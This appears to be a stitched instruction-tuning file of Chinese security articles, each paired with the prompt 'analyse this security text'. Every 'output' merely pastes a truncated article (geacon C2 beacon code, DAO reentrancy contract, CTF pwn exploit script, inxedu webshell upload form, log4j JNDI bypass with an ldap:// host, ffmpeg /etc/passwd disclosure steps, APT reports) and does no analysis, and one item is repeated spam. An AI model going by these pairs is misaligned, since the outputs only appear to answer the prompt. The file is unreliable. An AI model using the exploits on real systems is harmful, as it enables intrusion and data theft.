        └─BeaconTool                           //Beacon RSA生成工具
### 0x02 代码分析
主程序mian.go在cmd目录下:
    package main
    import (
        "bytes"
        "fmt"
        "geacon/cmd/config"
        "geacon/cmd/crypt"
        "geacon/cmd/packet"
        "geacon/cmd/util"
        "io"
        "os"
        "time"
    )
    func main() {
        ok := packet.FirstBlood()
        if ok {
            for ; ;  {
                resp := packet.PullCommand()
                if resp != nil {
                    totalLen := resp.Response().ContentLength
                    if totalLen > 0 {
                        hmacHash := resp.Bytes()[totalLen - crypt.HmacHashLen :]
                        fmt.Printf("hmac hash: %v\n", hmacHash)
                        //TODO check the hmachash
                        restBytes := resp.Bytes()[ : totalLen - crypt.HmacHashLen]
                        decrypted := packet.DecryptPacket(restBytes)
                        timestamp := decrypted[:4]
                        fmt.Printf("timestamp: %v\n",timestamp)
                        lenBytes := dec...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# MacOS/iOS CVE-2019-6231 漏洞深入分析
|
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html>
译文仅供参考，具体内容表达以及含义原文为准。
CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞，具体的位置在
_CA::Render::Image::decode()_ 函数中。
2019年1月22日，苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3，这次更新修复了许多安全漏洞，其中就包括
CVE-2019-6231 漏洞。
18年的12月14日，我曾经在 macOS Mojave 10.14.2 中发现了这个漏洞，并且在21日报告给了苹果。
然而遗憾的是，苹果回应这个问题已经在 macOS Mojave 10.14.3 beta 中被修复了，而这个版本是在12月19日发行的。
接下来，本文将对这个漏洞展开详细的分析。
## 漏洞概览
QuartzCore 是一个 macOS 和 iOS 用来渲染动画场景图形的框架，有时候也被成为 CoreAnimation。
QuartzCore 的渲染模式非常特别，它的图形操作都是运行再一个单独的进程中。
在 macOS 中，这个进程是 WindowServer， 在 iOS 中，这个进程是 backboard 。
QuartzCore 中有个一服务 com.apple.CARenderServer (也被称为 CARenderServer) 可以在 Safari
的沙箱中被访问， 并在 macOS 和 iOS 中都存在。
这个服务中有一个函数 _CA::Render::Image::decode()_ ，用来为 QuartzCore 解析 Image
对象。然而，这个函数在解析 Image 对象时，存在一个整型溢出漏洞。
这个可能会导致一个恶意的应用对受限内存的访问。
以下就是 WindowServer 进程在触发漏洞时的日志。
    Process:               WindowServer [57329]
    Path:                  /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
    Identifier:            WindowServer
    Version:               600.00 (337.5)
    Code Type:             X86-64 (Native)
    Parent Process:        launchd [1]
    Responsible:           WindowServer [57329]
    User ID:               88
    Date/Time:             2018-12-14 16:51:08.093 -0800
    OS Version:            Mac OS X 10.14.2 (18C54)
    Report Version:        12
    Anonymous UUID:        0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
    Sleep/Wake UUID:       7F5E9869-8B81-4B2F-8BBC-54048DE83A26
    Time Awake Since Boot: 15000 seconds
    Time Since Wake:       7000 seconds
    System Integrity Protection: disabled
    Crashed Thread:        2  com.apple.coreanimation.render-server
    Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
    Exception Codes:       KERN_INVALID_ADDRESS at 0x0000008000000018
    Exception Note:      ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 一、DAO项目介绍
DAO（Decentralized Autonomous
Organization）是一种通过智能合约将个体与个体、个人与组织、或组织与组织联系在一起的新型组织形式。The
DAO项目于2016年4月30日开始，融资窗口开放了28天。The
DAO项目就这么火起来了，截止5月15日这个项目筹得了超过一亿美元，而到整个融资期结束，共有超过11,000位热情的成员参与进来，筹得1.5亿美元，成为历史上最大的众筹项目。The
DAO所集资的钱远远超过其创建者的预期。
总结来说，DAO项目的运作方式如下：
  * 1 首先要拥有其自己的团队来编写运行的智能合约代码
  * 2 有初始融资阶段，在这一阶段人们添加资金来购买代币，来代表其所有权——这个过程叫做众销，或者首次代币发行（ICO）——为其提供所需资源。
  * 3 当融资结束后，DAO项目就可以开始利用融到的钱真正开始运作。
  * 4 人们开始像DAO系统管理者提出如何使用这笔钱的方案，并且购买DAO的成员就有资格对这些提案进行投票。
在介绍完成DAO的基本概念后，我们介绍下16年的这次DAO的重大攻击。在2016年6月17日，运行在以太坊公链上的The
DAO智能合约受到攻击。黑客利用合约中存在的递归调用不断转账“刷钱”，导致合约合约筹集的公共款不断的被转移到其子合约中。简单来说，此次攻击是由于以下两个方面的不当导致的
    ①函数存在逻辑漏洞，变量值更新不当以及智能合约本身存在的机制联合导致、②攻击者递归调用splitDAO函数，并不断进行自我调用。在递归快要接触到Blcok Gas Limit的时候进行了收尾工作并将自己的DAO资产转移到另一个受攻击账户并在利用完漏洞后将资产再转移回来。
如此以来，黑客利用2个账户反复利用Proposal进行攻击，从而转移了360万个以太币（价值6000万美元）。
### 二、DAO事件中的Race-To-Empty
Race-To-Empty情况我在之前的文章中有所简单的介绍，详细参考[区块链的那些事—论激励机制与激励层中的Race-To-Empty攻击](https://xz.aliyun.com/t/2904)。不同于上一篇文章，这次的攻击更有针对性，专门针对DAO事件的源码进行的分析。
由对Race-To-Empty的了解，我们知道该攻击在DAO事件中是由于不断递归而进行的无限制转账问题，由此我们可以看下面代码：
    function withdrawBalance() {
      amountToWithdraw = userBalances[msg.sender];
      if (!(msg.sender.call.value(amountToWithdraw)())) { throw; }
      userBalances[msg.sender] = 0;
    }
我们可以简单解释下。
`userBalances[ msg.sender
]`为我们需要转账的金额，并将值赋给`amountToWithdraw`。之后我们看`msg.sender.call.value(amountToWithdraw)())`，msg使用了`call.value()`方法，这个方法的含义为：发送余额，发送不成功时抛出异常，本次调用不成功。而在以太坊中，call.value()方法需要与gas结合，我们后面会介绍。之后调用`userBalances[msg.sender]
= 0`修改余额为0。
而我们知道以太坊中的部分函数是附加有默认函数伴随执行的，例如上面的`msg.sender.call.value(amountToWithdraw)())`。会伴随执行下面函数。
    function () {
      vulnerableContract v;
      uint times;
      if (times == 0 && attackModeIsOn) {
        times = 1;
        v.withdrawBalance();
       }
    else { times = 0; }
    }
当调用`msg.sener.call.value()`时，就会调用到默认函数，而默认函数又调用了withdraw造成了递归调用。如果我们将`withdrawBalance()`函数标记为函数W，将默认函数`function`标记为函数F。则有以下的堆栈情况：
    先执行withdrawBalance，之后调用call，然后调用默认函数function，之后function中又执行了withdrawBalance......
第一次调用...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 2019全国大学生信息安全竞赛初赛pwn前四题writeup

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
这次比赛很尴尬，我本来以为自己报上了名，但是结果没报上。。。只能让同学给我发题目然后自己做，没法拿flag，一共六题，只做出来四题，两题栈，两题堆，最后两题做出来的队伍个数都只有16个，显然不是我这小破邮大一菜狗可以做出来的
Or2。
所有的二进制文件都在这里：[题目的二进制文件](https://github.com/xiaoxiaorenwu/mypwn/tree/master/2019_%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9D%E8%B5%9B)
## 栈部分：
###  0x1 第一天_your_pwn:
**0x11功能分析和漏洞寻找：**
首先gdb看一下题目基本信息，是64位的程序，PIE开启，NX开启，relro没开全。
放进ida看一下，在main函数里只是一些准备工作没有漏洞存在，我们进入vuln函数进一步分析：
在vuln中我们发现了程序进行了41次循环，每一次输入一个下标index，以局部变量v4为基准泄露一个字节的内容，然后再改为新的数据，
**漏洞点在于index没有进行大小检查，可以任意大，超出v4数组的范围到达main返回地址处，**
这既实现了leak又实现了change，而且有41次机会，现在思路就很明了了！！
**0x12 漏洞利用：**
第一步还是leak出libc，根据经验我们知道在main函数返回地址附近一般会有__libc_start_main+240出现，我们可以泄露其然后进而泄露libc，这里的libc需要我们自己查找确定，我用的是wiki上的一个工具：[LibcSearcher](https://github.com/lieanu/LibcSearcher)，除了libc之外，我们还应泄露一下程序的基址，因为程序开了PIE，所以我们最后改main函数返回地址的时候要构造p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)这个payload的时候pop_rdi_addr这个gadget需要程序基址。
main函数的rbp附近的stack分部如下图：我们可以利用画红圈的两个地方来leak出libc和基址。
第二步就是将main的返回地址改为payload=p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)。需要注意的是sh_addr和system可能因为libc的不同而产生一些小变化，保险起见还是直接调试看偏移最好，不要直接在libc中搜索。
**0x13 exp如下：**
    #coding:utf-8
    from pwn import *
    from LibcSearcher import *
    context(os='linux',arch='amd64')
    #context.log_level = 'debug'
    p = process('./pwn')
    P = ELF('./pwn')
    p.recvuntil('name:')
    p.send('x12x12x12x12x12x12x12x12')
    ret_addr = [0 for i in range(6)]
    #----------------------------------------leak __libc_start_main_addr-------------------------------    for i in range(6):
        p.recvuntil('input indexn')
        p.sendline(str(624+8+i))  #具体数字自己调试，之后同，只要一块对了，然后之后算偏移即可。
        p.recvuntil('value(hex) ')
        addr = p.recv(8)
        if(addr[0]=='f'):
            addr = int(addr[6:],16)
        else:
            addr = int(addr[0:2],16)
        log.success('one_addr = '+hex(addr))
        p.recvuntil('ne...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2017-11882漏洞利用：投递Loki信息窃取木马的破解版本

##### 译文声明
本文是翻译文章，文章原作者 Rubio Wu, Anita Hsieh, and Marshall Chen，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[CVE-2017-11882：微软Office内存损坏漏洞导致远程命令执行](../post/id/87253)
[微软如何手工修复Office Equation内存破坏漏洞（CVE-2017-11882）](../post/id/87280)
[Microsoft Office内存损坏漏洞（CVE-2017-11882）分析](../post/id/87284)
[CVE-2017-11882漏洞分析、利用及动态检测](../post/id/87311)
[Office公式编辑器漏洞（CVE-2017-11882）已遭利用](../post/id/87324)
## 概述
根据我们掌握的情报，[Cobalt黑客组织](http://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/)是第一个利用[CVE-2017-11882漏洞](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882)实施网络犯罪活动的组织，该漏洞在今年11月已经发布[相应补丁](http://blog.trendmicro.com/trendlabs-security-intelligence/november-patch-tuesday-includes-update-attacks-abusing-dynamic-data-exchange/)。我们在12月初，发现[已经有人](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/17-year-old-ms-office-flaw-cve-2017-11882-actively-exploited-in-the-wild)利用该漏洞投递多种恶意程序，包括Pony/FAREIT、FormBook、ZBOT和Ursnif。另外，我们发现，最近一次对它的利用，是借助该漏洞，安装一个破解后的信息窃取木马Loki。
Loki的主要功能在于，可以从FTP客户端（例如：Filezilla）、Web浏览器（例如：Firefox、Chrome和Safari）以及电子邮件客户端（例如：Outlook和Thunderbird）中收取数据，也可以从管理员工具PuTTY、终端模拟器、系统控制台和网络文件传输应用中收集数据。同时，它可以作为一个恶意软件加载，能够[记录键盘键入的内容](https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850)。在黑客论坛中，它作为密码和加密钱包的窃取工具出售。
在黑客论坛上，破解版本Loki的终身许可证大概在60-100美元之间，而原版则需要250-450美元之间。如果需要附加的功能（例如窃取比特币钱包）或者其他服务（例如域名/IP地址更改），买家需要支付更多的费用。
我们还注意到，黑客组织自称其售卖的是Loki的原始版本，但实际上只是一个破解的版本。尽管他们使用的是盗版恶意软件，但他们的活动似乎遵循一个固定的操作模式，会盗用他人的电子邮箱，并将垃圾邮件发送给该邮箱账户通讯录中的所有人。目前，该网络活动具有特定的目标，受影响的国家及地区包括法国、中国香港、美国、克罗地亚、印度、澳大利亚、韩国和毛里求斯。
## 感染链
垃圾电子邮件会伪装成澳大利亚航运公司，邮件中会附带一个Office文档格式的附件，并引诱目标用户下载。实际上，该附件是一个Dropper类型的病毒，嵌入在文档中的OLE（Object
Linking and Embedding，对象链接与嵌入）对象会链接至另外一个恶意文档，地址为：hxxp://ga...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊
请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊请问怎么删除帖子啊


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CMS简介
因酷开源网校系统是由北京因酷时代科技有限公司以下简称（因酷教育软件）研发并推出的国内首家Java版开源网校源代码建站系统，并免费提供给非商业用途用户使用，是用户体验最好、运营功能最全、性价比最高的在线教育软件，不仅解决了开发技术难和成本过高的难题，而且在此功能基础上还可以安装其他供应商开发的应用，这样中小学习型组织就可以自主掌握一款独一无二的网校系统。
因酷开源网校系统提供视频云点播、在线学习、课程管理、网校管理等功能。管理者可以针对不同的用户设置不同的权限，限制特定用户的访问，不同的角色拥有不同的管理权限；老师可以使用因酷云视频提供的点播直播服务，也可以使用第三方的云视频服务；并且可以添加修改课程和课程专业,
对课程进行推荐分类；课程发布后，可以通过讲师和专业快捷的搜索到课程，每个课程都有介绍页面，学生可以查看课程的基本信息介绍和预览课时，再决定是否购买课程；购买课程后，学生可以重复观看，同时也可以收藏自己喜欢的课程，并分享到其他平台。
目前因酷的产品线非常齐全，有网校系统、直播系统、慕课系统、考试系统、社区系统、教育门户官网、因酷视频云等十多种，可实现录播点播直播考试互动等一系列线上教学功能。因酷志在为中小学习型组织提供开源教育产品，全面满足用户需求，已为近2000+用户提供高品质技术或服务，覆盖K12教育、
财会金融、法律培训、公考求职、建筑工程、医疗卫生、文化艺术、语言培训、
继续教育等众多领域，客户遍及国内33个省市自治区，更获得了加拿大、新西兰等国际教育机构的一致认可
官网：<https://www.inxedu.com/>
下载地址：<http://down.admin5.com/jsp/132874.html>
测试环境
CMS v2.0.6
JDK 1.8
Tomcat 7
Mysql 5.5
maven 3.6.3
IntelliJ IDEA 2018
漏洞分析
CMS 使用SSM框架
漏洞位置：
com/inxedu/os/common/controller/VideoUploadController.java
漏洞发生在视频上传功能模块，定位到漏洞代码位置如下：
这漏洞上传点使用springframework框架方式，gok4方法，接受request ,uploadfile，param，fileType
四个参数，uploadfile 是文件流，fileType是扩展名。
此处是判断上传文件名与fileType参数文件是否一致，一个小小的限制，可以绕过，在漏洞复现时将fileType参数设置为jsp就可以上传网马
此处是获取文件路径：
继续跟进getPath方法:
通过分析发现将param设置为空，CommonConstants.projectName获取project.properties配置文件中的项目上名称，所以完成上传路径：/images/upload/项目名/系统年月日时间/系统分时秒+扩展名（ext）
从整个上传流程发现，并没有对上传任何限制，直接上传，在74行uploadfile.transferTo 就直接上传，77行返回上传路径
利用复现
构造一个上传表单：
<form action="http://localhost:8080/video/uploadvideo"
enctype="multipart/form-data" id="frmUpload" method="post">
<input name="uploadfile" type="file">
<input type ="text" name = "fileType" value="">
<input id="btnUpload" type="submit" value="上传">
</form>
</form>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 连载《Chrome V8 原理讲解》第九篇 Builtin源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
上一篇文章中，Builtin作为先导知识，我们做了宏观概括和介绍。Builtin（Built-in
function）是编译好的内置代码块（chunk），存储在`snapshot_blob.bin`文件中，V8启动时以反序列化方式加载，运行时可以直接调用。Builtins功能共计600多个，细分为多个子类型，涵盖了解释器、字节码、执行单元等多个V8核心功能，本文从微观角度剖析Builtins功能的源码，在不使用`snapshot_blob.bin`文件的情况下，详细说明Builtin创建和运行过程。
本文内容组织结构：Bultin初始化过程（章节2），Builtin子类型讲解(章节3)。
## 2 Builtin初始化
下面是`code`类，它负责管理所有`Builtin`功能，是`builtin table`的数据类型。
    1.  class Code : public HeapObject {
    2.   public:
    3.    NEVER_READ_ONLY_SPACE
    4.    // Opaque data type for encapsulating code flags like kind, inline
    5.    // cache state, and arguments count.
    6.    using Flags = uint32_t;
    7.  #define CODE_KIND_LIST(V)   \
    8.    V(OPTIMIZED_FUNCTION)     \
    9.    V(BYTECODE_HANDLER)       \
    10.   V(STUB)                   \
    11.    V(BUILTIN)                \
    12.    V(REGEXP)                 \
    13.    V(WASM_FUNCTION)          \
    14.    V(WASM_TO_CAPI_FUNCTION)  \
    15.    V(WASM_TO_JS_FUNCTION)    \
    16.    V(JS_TO_WASM_FUNCTION)    \
    17.    V(JS_TO_JS_FUNCTION)      \
    18.    V(WASM_INTERPRETER_ENTRY) \
    19.    V(C_WASM_ENTRY)
    20.    enum Kind {
    21.  #define DEFINE_CODE_KIND_ENUM(name) name,
    22.      CODE_KIND_LIST(DEFINE_CODE_KIND_ENUM)
    23.  #undef DEFINE_CODE_KIND_ENUM
    24.          NUMBER_OF_KINDS
    25.    };
    26.    static const char* Kind2String(Kind kind);
    27.    // Layout description.
    28.  #define CODE_FIELDS(V)                                                    \
    29.    V(kRelocationInfoOffset, kTaggedSize)                                   \
    30.    V(kDeoptimizationDataOffset, kTaggedSize)                               \
    31.    V(kSourcePositionTableOffset, kTaggedSize)                              \
    32.    V(kCodeDataContainerOffset, kTaggedSize)                                \
    33.    /* Data or code not directly visited by GC directly starts here. */     ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 0 前言
log4j漏洞的形成原因已经有很多分析文章了，这里说一说我是如何在了解到有漏洞后，跟进漏洞产生原理的，以及发现的一些绕WAF tips
# 1 跟进漏洞产生原因的思路
## 1.1 如何发现漏洞产生原因的
了解到log4j <=2.14.1 存在RCE的情况，我马上跑到其官方github看了一下，发现commit记录中有两个关键commit
  * 第一，log4j不再自动对消息中的lookup进行格式化，第一时间看到不是很懂
  * 第二，限制JNDI默认支持，限制通过LDAP访问服务器和类
这两个点很容易联想到是不是跟JNDI攻击有关系，毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况，<https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3>
这个commit中，对`org.apache.logging.log4j.core.net.JndiManager.java`进行了大量修改，特别是在lookup方法中，加了很多代码
仔细看了一下，没有修改前，lookup方法直接通过`this.context.lookup(name)`执行JNDI操作，没有任何过滤或者限制，而新增加的代码在限制JNDI服务器、类。当天晚上看到payload后，马上对log4j
2.14.1版本尝试验证一下，并在JndiManager#lookup方法中断点看到如下
很明显，name就是payload中给定的，仔细看一下调用栈就可以发现，log4j会对字符串中的${}自动解析，也就是前面提到的commit备注信息中写到的。
## 1.2 如何绕过2.15.0-rc1版本
看到rc1版本存在绕过的消息，又来看看官方github仓库的commit记录，里面有一条在更新到2.15.0-rc1版本后的[commit记录](https://github.com/apache/logging-log4j2/commit/c2b07e37995004555c211cdf0bb169d6a6a6f96b)，提交的信息是"handle URI
exception"，即处理了URI出错的情况。修改代码情况如下图
JndiManager#lookup方法处给catch语句中添加了两行代码，记录URI解析错误并返回null。而添加这两行代码前，此处只有一行注释，因此catch报错后会继续向下执行this.context.lookup，也就意味着前面try语句中的代码报错后，会继续执行JNDI操作，绕过也就来自于这里。
来看看try语句是什么写的
代码比较长没有完全截进来，关键点是进入lookup方法后，立即将name变量送入URI类的构造函数中，此时只要URI的构造函数对name字符串解析出错，即可跳转到catch语句，进而向下执行到JNDI操作。
那么我们要关注的点就是让`new
URI(name)`处报错，但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时，不需要关心uri长什么样，所以可以在uri上做文章。
跟踪源代码可以查看到URI对字符的支持情况
数字、字母大小写这些就不说了，其它可打印字符也不多，从上面的注释中可以看到URI对 **反引号`，空格，尖括号
<>**并不支持，基于这一点，可以做个简单的实验
空格和尖括号同样报错，就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况，并没有在catch语句中添加返回操作或报错，程序遇到报错后，会继续向下执行，从而造成危险。
由于找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包，所以自己写了个函数模拟一下绕过的场景
# 2 LDAP绕WAF的tips
## 2.1 URI解析
看完rc1版本的绕过后，又想了一下，防御工具可能会有针对性的做一些关键字检测，所以我打算从LDAP更深层的源代码看看有没有对字符串变形的可能性。
跟着this.context.lookup(name)处向下跟进到`com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN`方法，代码如下
注意var0也就是输入是完整的"ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法获取host和port，说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法
  * com.sun.jndi.toolkit.url...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

6月24号的时候hackerone网站上公布了一个ffmpeg的本地文件泄露的漏洞，可以影响ffmpeg很多版本，包括3.2.2、3.2.5、3.1.2、2.6.8等等。
hackerone网站上的漏洞介绍:
<https://hackerone.com/reports/226756。与之相关联的还有其他几篇hackerone上的漏洞报告：https://hackerone.com/reports/243470、https://hackerone.com/reports/242831>)
实际上这个漏洞@EmilLerner和@PavelCheremushkin最早在今年的phdays大会上就已经披露了，视频可以在<https://www.phdays.com/broadcast/搜索Attacks>
on video converter得到，不过是全俄语的，暂时没有英文字母。也可以参考漏洞作者在phday大会上的ppt
作者实际上在5月份的时候就发现了该漏洞并提交，6月26号的时候公布出来，最新的ffmpeg版本3.3.2中已经修复了，但是旧的版本不保证。
背景介绍
FFmpeg是一套目前非常流行的可以用来记录、转换数字音频、视频，并能将其转化为流的开源计算机程序。它提供了录制、转换以及流化音视频的完整解决方案。目前有非常多的视音频软件或是视频网站、手机
APP 都采用了这个库，但是这个库历史上曝出的漏洞也非常之多。这次的漏洞是利用了ffmpeg可以处理 HLS 播放列表的功能，在 AVI 文件中的
GAB2字幕块中嵌入了一个 HLS 文件，然后提供给ffmpeg进行转码，在解析的过程中把它当做一个 XBIN 的视频流来处理，再通过 XBIN
的编解码器把本地的文件包含进来，最后放在转码后的视频文件当中。
漏洞重现方法
1) 下载脚本 <https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py2>) 运行脚本：python3 gen_xbin_avi.py
file:///etc/passwd sxcurity.avi3) 访问<https://arxius.io，上传sxcurity.avi4>)
等待上传处理视频5) 录像处理完成后，点击播放就可以看到/etc/passwd的内容
温故而知新
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似，可以说是旧瓶装新酒，老树开新花。
之前漏洞的一篇分析文章：
SSRF
和本地文件泄露（CVE-2016-1897/8）<http://static.hx99.net/static/drops/papers-15598.html>
这个漏洞实际上也是利用了ffmpeg在处理 HLS
播放列表文件的过程中，由于支持非常多的协议，如http、file、concat等等，导致可以构造恶意的url造成 SSRF
攻击和本地文件泄露。下面这幅图介绍了整个的攻击流程。
官方对这个漏洞的修复是把concat协议加入了黑名单并在结构体中加入了protocol_blacklist和protocol_whitelist这两个域。但是这次的漏洞利用了内嵌在字幕块中的
m3u8文件成功绕过了ffmpeg的某些限制。
HLS 协议简单介绍
HLS(HTTP Live
Streaming)是苹果公司针对iPhone、iPod、iTouch和iPad等移动设备而开发的基于HTTP协议的流媒体解决方案。在 HLS 技术中
Web 服务器向客户端提供接近实时的音视频流。但在使用的过程中是使用的标准的 HTTP 协议，所以这时，只要使用 HLS 的技术，就能在普通的 HTTP
的应用上直接提供点播和直播。该技术基本原理是将视频文件或视频流切分成小片(ts)并建立索引文件(m3u8)。客户端会先向服务器请求
m3u8索引文件，然后根据索引文件里面的url去请求真正的ts视频文件。如果是多级的m3u8索引的话，那就会从根索引文件开始，一层一层的往下去请求子的索引文件，获取最终的TS流文件的http请求地址与时间段。
M3U8文件中有很多TAG，每一个 TAG
的详细的作用可以参考这篇文章：<http://blog.csdn.net/cabbage2008/article/details/50522190>
针对ffmpeg 3.1.2版本的漏洞分析
先介绍一下ffmpeg是怎样把一个输入文件转码成另一种格式的视频文件，流程图如下：（图片引用自<http://blog.csdn.net/leixiaohua1020/article/details/25422685）>
然后我们观察一下攻击者提供的poc生成...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/n3HcxJT-oDPeVMtekhXcIg>**
### 一、分析背景
2020年8月中旬，启明星辰ADLab发现了一起新型攻击活动，该攻击背后的黑客组织利用各种技术手段做掩护已经活跃了多年，但黑客组织及攻击活动的情报信息依然未被公开披露。本文将针对本次攻击活动及其背后的黑客组织进行深入分析，并公开我们溯源出的黑客组织成员以及其使用的基础设施、攻击工具、攻击手法等的信息。在分析攻击活动的过程中，我们发现该黑客组织不仅是针对企业进行定向攻击的黑客团伙，而且还是长期从事物联网攻击的惯犯。为了便于描述该黑客组织，我们将其命名为“海毒蛇(SeaViper)”组织，该组织具有APT攻击和物联网攻击的特性，定向攻击的目标集中在金融机构、政府事业单位、精密仪器、酒店和旅游业等相关的实体，物联网攻击涉x86、x64、arm、spc、mips、ppc等多个CPU平台，甚至还包含摩托罗拉的广泛用于街机和家用游戏机微处理器m68和m68k,以及日立的用于多媒体终端、电视游乐器或机顶盒的微处理器sh4。
“海毒蛇”曾经使用如CVE-2017-0199、CVE-2017-8570之类的office漏洞来攻击企事业单位，同时也使用了大量物联网设备的漏洞来构建物联网僵尸网络。从黑客的历史活动迹象上可以看出该黑客组织是一个以经济利益为目标的犯罪团伙。此外针对企业攻击中，“海毒蛇”首次利用了诱饵文档的批注信息来隐藏恶意代码，同时采用多级跳板、混淆加密等等手段来规避追踪与检测。
在溯源分析过程中我们发现，该黑客组织极有可能来自于南亚的某个国家，至少包含有6名成员，其中一位负责恶意代码的编写工作，其他人负责配置并投放恶意代码，溯源到的6名成员的名称来自于黑客所使用的计算机用户名（可能并不是其真实名称）。我们首先通过恶意代码的PDB路径及其广泛制作的恶意文件锁定了其中一个成员“Eng
Moha”，其后通过大量的数据分析锁定了其他五名成员：“mnb joker”、“Lye Gomes”、“Joselio Bonin”、“Emanoel
Brito”和“aSmarany”。其中，“Eng
Moha”负责恶意程序开发、漏洞利用等工作，其他人负责攻击代码的配置和分发。在过去的一年多时间里，该黑客组织先后利用Gafgyt、Mirai木马组建僵尸网络进行DDoS攻击、并利用OneDrive云存储空间和鱼叉式网络等方式向商业公司投放AgentTesla、Remcos
RAT和Masslogger窃密木马牟利。同时，“海毒蛇”还持有大量恶意域名和用于托管恶意文件的虚拟主机等网络基础设施。通过深度的关联，我们发现“海毒蛇”组织似乎与Gorgon
APT组织还有一定关联。
### 二、追踪与溯源
#### 2.1 缘起
2020年8月中旬，启明星辰ADLab监测到一封题为“电子转账付款账单”的恶意邮件，该邮件以“美国银行”的名义发起钓鱼邮件攻击，其附件为一个excel表格文件(图1为本次攻击的一个邮件样本，目标为美国阿拉巴马州亨茨维尔市公共事业公司“Huntsville
Utilities”)，通过多级代码跳转最终向目标植入Remcos
RAT，以窃取目标主机的机密信息。在初步分析后,除了零散的样本信息外，我们没有在公开情报和私有情报库中找到任何与攻击及攻击背后的黑客组织相关的信息。通过对基础设施的关联分析，发现该黑客组织与多次物联网攻击有着紧密的关系，因此我们决定对本次攻击活动及其背后的攻击团伙进行一次摸底。我们很快关联到8月初另外几起相同手法的攻击，这几起攻击伪装成了“美国大通银行”和“美国富国银行”向金融机构“ENGS”投放攻击代码（图2）。
图1 伪装成美国银行的钓鱼邮件
图2 伪装成大通银行的钓鱼邮件
为了还原“海毒蛇”攻击活动的全貌，我们对其活动的线索进行全面地收集和分析，发现了他们使用的大量基础设施、定向攻击样本、使用的漏洞以及攻击物联网设备所使用的一些攻击武器，并进一步挖掘出了该组织的组成成员。
#### 2.2 基础设施分析与溯源
在追踪黑客的初期，我们首选黑客使用的几个典型控制命令服务器进行分析，从定向攻击的几个样本中提取的基础设施来看，用于控制Remcos
RAT的服务器“boyflourish.myq-see.com”解析到了IP为“79.134.225.32”的这台主机。同时，我们发现另外一个解析到该IP地址的黑客域名“rapture666.myq-see.com”，该域名是黑客另外一批Remcos
RAT的控制命令服务器。由于黑客对使用的域名都做了隐私保护，因此从域名注册信息上无法进一步得到溯源线索。但黑客域名“rapture666.myq-see.com”...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 疑似Lazarus针对双平台的攻击活动披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Lazarus
APT组织是一个长期活跃的组织，因为2014年攻击索尼影业而开始受到广泛关注，该组织早期主要针对韩国，美国等国家的政府机构进行攻击活动，以窃取情报等信息为目的。自2014年后，该组织开始针对全球金融机构，加密交易机构等为目标，进行敛财活动。
近期，奇安信威胁情报中心红雨滴团队在日常的APT样本追踪中，捕获一例利用心理测验为诱饵的Lazarus攻击样本，该样本通过宏释放PowerShell脚本执行,从而控制受害者计算机。奇安信威胁情报中心通过溯源关联，捕获另一例针对macOS的攻击样本，并在发现此次攻击活动的第一时间通过社交媒体进行预警。
## 样本分析
奇安信威胁情报中心红雨滴团队通过捕获到的针对Windows平台的恶意宏文档进行详细分析，并关联到该组织针对macOS平台攻击的恶意样本，针对这两个平台的样本详细分析如下。
### 诱饵文档
MD5 | 6850189bbf5191a76761ab20f7c630ef
---|---
作者 | Windows User
